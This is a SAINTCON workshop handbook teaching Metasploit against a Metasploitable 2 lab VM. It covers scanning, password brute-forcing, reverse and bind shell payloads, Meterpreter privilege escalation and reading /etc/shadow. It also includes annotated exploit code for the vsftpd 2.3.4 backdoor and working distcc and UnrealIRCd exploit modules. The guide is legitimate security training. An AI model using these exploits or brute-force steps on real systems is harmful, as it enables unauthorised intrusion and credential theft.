Metasploit 101
at SAINTCON

Santiago Gimenez Ocano

08-21-2021

Contents

Preface

Disclaimer

This document is only for education purposes. Before scanning a network or exploiting vulnerabilities, *always* ask for permission.

References

This document used the following main references:

Chapter 1 "Metasploit: The Penetration Tester's Guide"[1] and "Metasploit Unleashed"[2].

Chapter 2 "Mastering Metasploit: Take your penetration testing and IT security skills to a whole new level with the secrets of Metasploit, 3rd Edition"[3] and Metasploit's source code in GitHub[4].

Setup

The examples and exercises in this document were developed using following software:

- VirtualBox 6.1.26[5]
- Kali Linux 2021.03[6]
- Metasploit Framework 6.1.4-dev[7]
- Metasploitable 2[8]

However, older and newer version of that software might also work.

Installing the VMs

After downloading and installing Virtual Box[1] in your host system, download Kali Linux for Virtual Box[2] and download Metasploitable 2[3]. For Kali Linux, you should have an OVA file; for Metasploitable, you will have a Zip file, decompress the Zip file and make sure you have a VMDK file.

Installing Kali Linux

To install Kali Linux, follow these steps:

1. Open Virtual Box
2. From the top menu, select "File" and click on "Import Appliance..."
3. In the new window, select the location of the OVF file that contains the Kali Linux VM, and click on "Next".
4. Review all the appliance settings and click on "Import".

Installing Metasploitable

Metasploitable 2 can be installed following these steps:

1. Open Virtual Box
2. From the top menu, select "Machine" and click on "New..."
3. Follow the steps to create a new Machine, use the following settings (leave the rest of the parameters in their default values):
   - Name: "Metasploitable 2"
   - Type: "Linux"
   - Version: "Ubuntu (64-bits)"
   - Memory Size: "256 MB"
   - Hard Disk: "Use an existing virtual hard disk file", and click on the folder icon, a new window will open. In the new window, select "Add" and select the Metasploitable 2 VMDK file.

[1] `https://www.virtualbox.org/wiki/Downloads`
[2] `https://www.kali.org//get-kali/#kali-virtual-machines`
[3] `https://sourceforge.net/projects/metasploitable/`

Network Setup

Before starting the network setup, make sure that the Kali and Metasploitable VMs are powered off. First, we will need to create a NAT network in VirtualBox with these steps:

1. In the main window in Virtual Box, select "File" and click on "Preferences".
2. Select Network and click on the icon to add a new NAT Network.

Then, for each of the VMs, follow these steps:

1. Select the VM, and click on the Network Properties
2. Select Adapter 1, Attached to "NAT Network", and select the NAT network you just created.

You can verify connectivity between both machines with these steps:

1. Log in Metasploitable 2 with the username `msfadmin` and the password `mfsadmin`
2. Get the VM IP address with `ifconfig | grep 10.0.2`. Take note of this IP address
3. Log in Kali Linux with the username `kali` and the password `kali`
4. Open a browser and type the IP address of your Metasploitable 2 VM

Conventions

This document uses different font variations and boxes to highlight information. Here's the convention used.

`typewritter` font is used for URLs and computer commands and files.

italic font is used for emphasis.

Info

This is an info box. It provides additional information.

Tip

This is a tip box. It provides useful tricks, shortcuts, or commands.

Warning

This is a warning box. It alerts on possible common mistakes.

```
# This is source code
puts "Hello world"
```

Contact

For questions about this document or its corresponding presentation, please send an email to `santiago.gimenezocano@utahsaint.org`.

GitHub

This document has been generated in LaTeX. Its source files, as well as its corresponding presentation slides, can be found at `https://github.com/sxntixgo/metasploit-101-at-saintcon`.

Chapter 1

General Use of Metasploit

1.1 Introduction to Penetration Testing

A penetration test, or *pentest*, is the activity of finding vulnerabilities in computer systems. According to the Penetration Testing Execution Standard, a pentest has the following steps[9]:

- Pre-engagement Interactions: defining scope and permission.
- Intelligence Gathering: getting information on the target through different methods.
- Threat Modeling: identifying different vulnerabilities on the target.
- Vulnerability Analysis: identifying the attack method.
- Exploitation: executing the attack.
- Post Exploitation: getting valuable information from the target.
- Reporting: the boring stuff.

1.1.1 Terminology

Before we proceed, we need to define the following terms used in pentests and Metasploit:

Vulnerability it is a weakness in a computer system.

Penetration tester the person conducting a pentest.

Exploit a penetration tester uses an exploit to take advantage of a vulnerability.

Payload the code we want the target system to execute. A payload is included in the exploit.

Module a piece of software that can be used by Metasploit.

Listener a piece of software that waits for incoming connections.

1.2 Metasploit Framewok

Metasploit is a framework that aims to automate many of the repetitive tasks in the previous steps. Specifically, Metasploit is mostly used in the analysis of vulnerabilities, and in the exploitation and post exploitation of vulnerabilities. In other words, Metasploit is used to validate the existence of vulnerabilities by exploiting them. The goal is to identify these vulnerabilities before somebody else does it.

1.2.1 Comparison with Masscan and Nmap

Let's compare Metasploit with other open-source tools: Masscan and Nmap. Masscan only focusses on Intelligence Gathering. Nmap focuses on Intelligence Gathering, with a bit of Vulnerability Analysis and Exploitation through its scripts. Metasploit focuses on Exploitation and post exploitation, with a minor emphasis on Intelligence Gathering. The following table summarizes this comparison.

Pentest Standard Phase	Masscan	Nmap	Metasploit
Pre-engagement			
Intelligence Gathering	Yes	Yes	Partial
Threat Modeling		Partial	Yes
Vulnerability Analysis			Partial
Exploitation		Partial	Yes
Post Exploitation			Yes
Reporting			

Table 1.1: Comparison between Masscan, Nmap, and Metasploit

1.2.2 Framework Components

Metasploit comes with a series of components, but we will only focus on two: Console and Meterpreter. While the fist is an interactive tool to access all the modules, the second is a payload generator. More generally, when we talk about Metasploit most ot the time we refer to a subproject called console. Other components worth exploring include:

CLI provides a way to access the different modules of Metasploit from the command line.

Venom generates the payloads.

1.2.3 Using The Console

Before starting the console, it is recommended to start the `psql` server (a database), as the console will work faster:

Warning: Running Metasploit as root user

Note that the following commands are run in a terminal as the user *root*. To move from a non-root user to root type `sudo su -`

```
# service postgresql start && msfdb init
```

Now, lets start the console from the command line:

```
# msfconsole
```

Once in the console, access the help menu:

```
msf5 > help
```

1.3 Intelligence Gathering

Information gathering can be either passive and active. Depending on the author the difference between one and the other changes. For this document, passive information gathering is any act of getting information about the target *without* sending any message to the target.

1.3.1 Passive Intelligence Gathering

We can perform some passive intelligence gathering with the following command `whois`:

```
msf5 > whois <domain>|<ip_address>
```

For example:

```
msf5 > whois www.google.com
msf5 > whois 8.8.8.8
```

1.3.2 Active Intelligence Gathering

Portscanning

For active intelligence gathering, we will start with a basic port scanner, which is done by using modules. There are six important commands to use a module:

1. Find the module:
   `msf5 > search <string>`
2. Select the module:
   `msf5 > use <module>`

   Tip

   We can use the tab key to autocomplete the name of a module.

3. Display the module's options:
   `msf5 > show options`
4. Configure a module option:
   `msf5 > set <option_name> <value>`
5. Execute the module, with one of two alternatives:
   `msf5 > exploit`
   or
   `msf5 > run`
6. Show the hosts added to Metasploit's db or the ones identified in a scan:
   `msf5 > hosts <options>`
7. Leave the current module:
   `msf5 > back`

Now, to actually perform the portscanning, we follow these steps:

1. `msf5 > search portscan`
2. `msf5 > use auxiliary/scanner/portscan/syn`
3. `msf5 > show options`
4. `msf5 > set RHOSTS 10.0.2.4`

   Warning: Metasploitable IP Addess

   In this example, I we are using `10.0.2.4` as the IP address of Metasploitable. This IP address might be different in your own VM environment.

   Tip

   After we have a list of hosts, we can use `msf5 > hosts -R` to setup the target hosts in each module

5. `msf5 > set PORTS 1-100`
6. `msf5 > run`
7. (optional) `msf5 > hosts`
8. `msf5 > back`

Additionally, we can use `nmap` within Metasploit, for example:

```
msf5 > nmap -p- 10.0.2.4
```

Info: Speed Comparison

This is a simple comparison of Nmap, Masscan, and Metasploit while scanning the first 100 TCP ports of `scanmen.nmap.org`:

- Nmap: 1.45 seconds
- Masscan: 2 seconds
- Nmap in Metasploit: 1.43 seconds
- Metasploit: 52 seconds

Targeted Scannings

We can test other services by performing the same approach and by changing the module to a targeted one. These modules perform additional actions than just

identifying the status of a port. For example, the following modules information about different services running at the target.

- Find the MySQL version:
  `msf5 > use auxiliary/scanner/mysql/mysql_version`
- Find the SSH version:
  `msf5 > use auxiliary/scanner/ssh/ssh_version`

Info

After using this command, `hosts` show a better description of our target

- Find the FTP version:
  `msf5 > use auxiliary/scanner/ftp/ftp_version`
- Find the SMB version:
  `msf5 > use auxiliary/scanner/smb/smb_version`
- Find the telnet version:
  `msf5 > use auxiliary/scanner/telnet/telnet_version`

1.4 Vulnerability Scanning

Vulnerability scanners interact with the target in order to detect weaknesses. For example, they might try to login with default credentials; or based on the response, determine the version and patches applied to a service.

Even though Metasploit can work with Nexpose and Nessus, we will focus on single-service vulnerability scanners.

- Validating SMB logins (bruteforce):
  `msf5 > use auxiliary/scanner/smb/smb_login`

Warning

For this module, we need to setup a list of username and passwords. Check this module's options. Multiple wordlists including usernames and passwords can be found in the folder `/usr/share/wordlists`.

- Open VNC authentication:
  `msf5 > auxiliary/scanner/vnc/vnc_none_auth`

- Open X11 Servers:
  `msf5 > auxiliary/scanner/x11/open_x11`

Using auxiliary modules we can bruteforce passwords:

- Bruteforce root's password with VNC:
  `msf5 > auxiliary/scanner/vnc/vnc_login`
  `msf5 > set USERNAME root`
  `msf5 > hosts -R`
  `msf5 > run`

Tip: Displaying all auxiliary modules

To see the whole list of auxiliary modules use:
`msf5 > show auxiliary`

1.5 Exploitation

Metasploit helps us to take advantage of vulnerabilities with different exploitation modules. To see the list of exploitation modules type:

```
msf5 > show exploits
```

In the exploitation phase is where `msf5 > search` becomes helpful, as we can search for any string such as service name, service achronym, CVE, MS security bulletin, or fancy vulnerability name (like bluekeep, eternalblue, or proxylogon).

After finding the right exploit module, the steps to use the module are the same we used for any other module, with the exception that before running the module we might need to check different configurations to decide on the IP of the target, ports, the type of target, and the payload. For example:

1. `msf5 > use exploit/linux/postgresql/postgresql_payload`
2. `msf5 > show payloads`

Info

`show payloads` shows only the payloads applicable to the selected module.

3. `msf5 > set payload linux/x86/shell_reverse_tcp`

4. `msf5 > show options`
5. `msf5 > set RHOST 10.0.2.4`

   Info

   The next IP is the IP where the target will try to connect, so it has to be an IP we control and reachable by the target.

6. `msf5 > set LHOST 10.0.2.15`
7. `msf5 > show targets`
8. `msf5 > set TARGET 0`
9. `msf5 > run`

Tip: Getting Interactive Shell

After getting a basic shell, you can get an interactive shell with:
`python -c 'import pty; pty.spawn("/bin/bash")'`

Another example:

1. `msf5 > use exploit/unix/misc/distcc_exec`
2. `msf5 > show payloads`
3. `msf5 > set payload cmd/unix/bind_perl`
4. `msf5 > show options`
5. `msf5 > host -r`
6. `msf5 > run`

1.6 Post Exploitation

Metasploit's payload determines the type of access that we have after exploiting the target. In general, there are three types:

- Portbind: it opens a port in the target and then we can connect to such port. This is generally prevented by firewalls at the target. Generally, we obtain shell access (a.k.a. command line access) after connecting to the target port.

- Reverse shell: it open a port in our attacking system, then the target connects to our system. Generally we obtain shell access.
- Meterpreter: it opens a port in our attacking system, then the target connects to our system. In this case we do not obtain shell access, we obtain a Meterpreter session, which includes additional commands.

1.6.1 Meterpreter

To obtain a Meterpreter session in the target, we can use the following commands:

1. `msf5 > use exploit/linux/postgresql/postgresql_payload`
2. `msf5 > set payload linux/x86/meterpreter/bind_tcp`
3. `msf5 > set RHOST 10.0.2.4`
4. `msf5 > run`

Some of the most common commands that Meterpreter has are:

- List of commands:
  `meterpreter > help`
- Obtain shell:
  `meterpreter > shell`
- Get user info:
  `meterpreter > getuid`
- Get system info:
  `meterpreter > sysinfo`

Additionally, Meterpreter has scripts. The list of available scripts depends on the target. For our setup, we some of the available scripts are:

- Check if the target is a virtual machine:
  `run post/linux/gather/checkvm`
- Get network configuration:
  `run post/linux/gather/enum_network`
- Get possible local exploits
  `run post/multi/recon/local_exploit_suggester`

1.6.2 Getting Admin Access

Once we obtained a session, we can execute some of the local exploits suggested by the previous script:

- `meterpreter > background` (This will show a session name)
- `msf5 > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc`

> **Info**
>
> The next session is the one we obtained by issuing `meterpreter > background`

- `msf5 > set session 3`

> **Warning**
>
> The exploit `glibc_ld_audit_dso_load_priv_esc` is configured by default to run a meterpreter reverse tcp but for x64 architecture.

- `msf5 > set payload linux/x86/meterpreter/reverse_tcp`
- `msf5 > run`

After we obtain root privileges, we can run more scripts, for example:

- Get the password hashes:
  `meterpreter > run post/linux/gather/enum_network`

We can additionally show the content of files:

- Get the password hashes:
  `meterpreter > cat /etc/shadow`

1.7 Exercise

We know there is an FTP service running on port 21 at our target. Exploit this service using Metasploit.

1. Find the program name and version.

2. Find an exploit.
3. Configure the exploit.
4. Execute the exploit.
5. Identify the user that is running the program.
6. Get root.

Chapter 2

Metasploit Modules

2.1 The Structure of a Module

Metasploit and its modules are written in Ruby. Specifically, the modules follow the same basic structure:

1. Class type selection, which uses the keyword `class`
2. Rank, which expresses how effective the module is and uses the keyword `rank`
3. Imports, which uses the keyword `import`
4. Info definition, which uses the keywords `def initialize(info = {})` and which includes a dictionary with the following keys:
    - `Name`
    - `Description`
    - `Author`
    - `License`
    - `Platform`
    - `Target`
5. Run definition, which uses the keywords `def run`

For example, the following listing shows that structure:

```
1  class MetasploitModule < Msf::Auxiliary
2      rank = ExcellentRanking
3
4      include Msf::Auxiliary::Report
5
6      def initialize(info = {})
7          super(update_info(info,
8              'Name'           => '<MODULE_NAME>',
9              'Description'    => %q{<MODULE_DESCRIPTION>},
10             'Author'         => ['<AUTHOR_NAME>'],
11             'License'        => MSF_LICENSE,
12             'Platform'       => ['PLATFORM'],
13             'Targets'        => ['TARGETS']
14         ))
15     end
16     def run
17         # Main function
18     end
19 end
```

2.2 Analyzing A Module

In this section, we will analyze the module used for vsFTP 2.3.4. The vulnerability associated with this exploit is a backdoor that provides unauthenticated root shell access at port 6200 after the characters `:)` are appended to any username.

The module is located at:

- Online: `https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb`
- Kali Linux: `/usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd\_234\_backdoor.rb`

Let's check the different parts of this module. The line 6 defines the type of module. In our previous example the class was an auxiliary module, here it is an exploit.

```
6  class MetasploitModule < Msf::Exploit::Remote
```

Line 7 defines the rank of the module. These value can be `ExcellentRanking`, `GreatRanking`, `GoodRanking`, `NormalRanking`, `AverageRanking`, `LowRanking`, `ManualRanking`[1].

[1] `https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking`

```
7       Rank = ExcellentRanking
```

Line 9 includes Metasploit's module TCP. This includes was not part of the general module structure. A list of all the available Metasploit's modules can be found at:

- Online: `https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core`
- Kali Linux: `/usr/share/metasploit-framework/lib/msf/core`

```
9       include Msf::Exploit::Remote::Tcp
```

Lines 11 to 47 define the bolierplate information about the module. Compared to our basic structure, there are a new dictionary keys: `References`, `Privileged`, `Platform`, `Arch`, `Payload`, `Targets`, `DisclosureDate`, and `DefaultTarget`.

```
11      def initialize(info = {})
12        super(update_info(info,
13          'Name'           => 'VSFTPD v2.3.4 Backdoor Command
        Execution',
14          'Description'    => %q{
15              This module exploits a malicious backdoor that was
         added to the VSFTPD download
16              archive. This backdoor was introduced into the
        vsftpd-2.3.4.tar.gz archive between
17              June 30th 2011 and July 1st 2011 according to the
        most recent information
18              available. This backdoor was removed on July 3rd
        2011.
19          },
20          'Author'         => [ 'hdm', 'MC' ],
21          'License'        => MSF_LICENSE,
22          'References'     =>
23            [
24              [ 'OSVDB', '73573'],
25              [ 'URL', 'http://pastebin.com/AetT9sS5'],
26              [ 'URL', 'http://scarybeastsecurity.blogspot.com
        /2011/07/alert-vsftpd-download-backdoored.html' ],
27            ],
28          'Privileged'     => true,
29          'Platform'       => [ 'unix' ],
30          'Arch'           => ARCH_CMD,
31          'Payload'        =>
32            {
33              'Space'    => 2000,
34              'BadChars' => '',
35              'DisableNops' => true,
36              'Compat'      =>
37                {
38                  'PayloadType'    => 'cmd_interact',
39                  'ConnectionType' => 'find'
```

```
40                }
41            },
42          'Targets'         =>
43            [
44              [ 'Automatic', { } ],
45            ],
46          'DisclosureDate' => 'Jul 3 2011',
47          'DefaultTarget' => 0))
```

Line 49 defines the default value for RPORT.

```
49        register_options([ Opt::RPORT(21) ])
```

Lines 52 to 95 defines the exploit. Line 52 starts the definition of the exploit.

```
52      def exploit
```

Lines 54 to 59 test if port 6200 at the target is already in use. If that's true, then aborts the exploit.

```
54        nsock = self.connect(false, {'RPORT' => 6200}) rescue
      nil
55        if nsock
56          print_status("The port used by the backdoor bind
      listener is already open")
57          handle_backdoor(nsock)
58          return
59        end
```

Lines 61 to 65 connect to the FTP server and gets its banner.

```
61        # Connect to the FTP service port first
62        connect
63
64        banner = sock.get_once(-1, 30).to_s
65        print_status("Banner: #{banner.strip}")
```

Line 67 sends a random text as username with `:)` appended.

```
67        sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\
      n")
```

Lines 68 and 69 get the server response and prints it on screen.

```
68        resp = sock.get_once(-1, 30).to_s
69        print_status("USER: #{resp.strip}")
```

Lines 71 to 81 check for the response from the server after the username is supplied. If the response is 530 or different than 331, the exploits disconnects and exits.

```
71        if resp =~ /^530 /
72          print_error("This server is configured for anonymous
        only and the backdoor code cannot be reached")
73          disconnect
74          return
75        end
76
77        if resp !~ /^331 /
78          print_error("This server did not respond as expected:
        #{resp.strip}")
79          disconnect
80          return
81        end
```

Line 83 sends a random text as the password.

```
83        sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n"
        )
```

Lines 86 to 91 connect to port 6200 and call the function `handle_backdoor`.

```
86        nsock = self.connect(false, {'RPORT' => 6200}) rescue
        nil
87        if nsock
88          print_good("Backdoor service has been spawned,
        handling...")
89          handle_backdoor(nsock)
90          return
91        end
```

Lines 97 to 112 define the function `handle_backdoor`. Lines 99 to 108 request the id of the username at the target, and check its result to determine if there is a shell connection.

```
97      def handle_backdoor(s)
98
99        s.put("id\n")
100
101       r = s.get_once(-1, 5).to_s
102       if r !~ /uid=/
103         print_error("The service on port 6200 does not appear
        to be a shell")
104         disconnect(s)
105         return
106       end
107
108       print_good("UID: #{r.strip}")
109
110       s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
111       handler(s)
112     end
```

Finally, lines 110 to 111 send the payload and then send the connection to the handler.

```
10        s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
11        handler(s)
```

2.3 Developing a Module

In this section we will first define a methodology to create a module and then we will create a module based on the module `distcc_exec`, which can be found at:

- Online: `https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/misc/distcc_exec.rb`
- Kali Linux: `/usr/share/metasploit-framework/modules/exploits/unix/misc/distcc_exec.rb`

2.3.1 Methodology for Developing a Module

We already covered the different components that a basic module must have. We will use that information in our methodology:

1. Open a blank text file
2. Add the following sections
   (a) Class
   (b) Include
   (c) Initialize the module information
   (d) Define the exploit (or run)
3. Save the module in the appropriate directory within Metasploit.
4. Restart Metasploit (or start it)

After these steps the module should be ready to be configured and to be run.

2.3.2 Example of Developing a Module

We will create a module with the following sections:

1. Class: `class MetasploitModule < Msf::Exploit::Remote`
2. Include `include Msf::Exploit::Remote::Tcp`
3. Information:
   - Name: `'DistCC RCE - SAINTCON'`
   - Description: `%q{This was used to show how to create a module}`
   - Author: `[ 'SGO' ]`
   - License: `MSF-LICENSE`
   - Platform: `[ 'unix' ]`
   - Targets: `[ [ 'Automatic', { } ] ]`
4. Exploit and helping functions:

```
def exploit
  connect

  distcmd = dist_cmd("sh", "-c", payload.encoded);
  sock.put(distcmd)

  dtag = rand_text_alphanumeric(10)
  sock.put("DOTI0000000A#{dtag}\n")

  handler
  disconnect
end

def dist_cmd(*args)
  args.concat(%w{# -c main.c -o main.o})
  res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

  args.each do |arg|
    res << sprintf("ARGV%.8x%s", arg.length, arg)
  end

  return res
end
```

Warning

The previous exploit and helping functions are very rudimentary and do not handle errors. Please see the original exploit to learn about error and output handling.

Then, we will save the module at `/usr/share/metasploit-framework/modules/exploits/unix/misc/distcc_exec_saintcon.rb`. We will restart Metasploit and execute the following commands in Metasploit:

1. `msf5 > use exploit/unix/misc/distcc_exec_saintcon`
2. `msf5 > set payload cmd/unix/bind_perl`
3. `msf5 > show options`
4. `msf5 > set RHOST 10.0.2.4`
5. `msf5 > set RPORT 3632`
6. `msf5 > run`

2.4 Exercise: Built a Module

The following exercise is based on the module `unreal_ircd_3281_backdoor` that can be found at:

- Online: `https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb`
- Kali LInux: `/usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb`

This modules exploits a backdoor in the application Unreal IRCD 3.2.8.1, witch runs at TCP port `6667` in Metasploitable 2.

2.4.1 Exercise

Develop a Metasploit module following the methodology presented in the previous section, with the following properties:

1. The class of the module is `class MetasploitModule < Msf::Exploit::Remote`
2. The module includes `Msf::Exploit::Remote::Tcp`
3. The description has the following properties:
   - Name: `'UnrealIRC backdoor - SAINTCON'`
   - Description: `%q{This module was created as an exercise for Metasploit 101 at SAINTCON}`
   - Author: `['<Your name>']`
   - License: `MSF-LICENSE`

- Platform: `[ 'unix' ]`
- Targets: `[ [ 'Automatic', { } ] ]`

4. The exploit is:

```
def exploit
  connect

  sock.put("AB;" + payload.encoded + "\n")

  1.upto(120) do
    break if session_created?
    select(nil, nil, nil, 0.25)
    handler()
  end
  disconnect
end
```

5. Extra point: Add a Rank to the module

Warning: Saving the module

Before you save the module, make sure you chose a name other than the name of a module that already exists.

Once the module is create, make sure you save it in the appropriate directory in Metasploit. Then, restart Metasploit. Before running the module, make sure you select the right remote host and port. Also, for better result use the payload `cmd/unix/bind_perl`.

Bibliography

[1] D. Kennedy, J. O'gorman, D. Kearns, and M. Aharoni, *Metasploit: The Penetration Tester's Guide*. No Starch Press, Inc, 2011.

[2] Offensive Security, "Metasploit Unleashed." `https://www.offensive-security.com/metasploit-unleashed`.

[3] N. Jaswal, *Mastering Metasploit: Take your penetration testing and IT security skills to a whole new level with the secrets of Metasploit, 3rd Edition*. Packt Publishing Ltd, 3 ed., 2018.

[4] Rapid7, "Github - rapid7/metasploit-framework: Metasploit framework." `https://github.com/rapid7/metasploit-framework`.

[5] Virtualbox.org, "Oracle VM VirtualBox." `https://www.virtualbox.org`.

[6] Kali.org, "Kali Linux." `https://www.kali.org`.

[7] Rapid7, "Metasploit." `https://www.metasploit.com/`.

[8] Rapid7, "Metasploitable | Metasploit Documentation." `https://docs.rapid7.com/metasploit/metasploitable-2/`.

[9] P. T. E. Standard, "The penetration testing execution standard." `http://www.pentest-standard.org`, August 2014.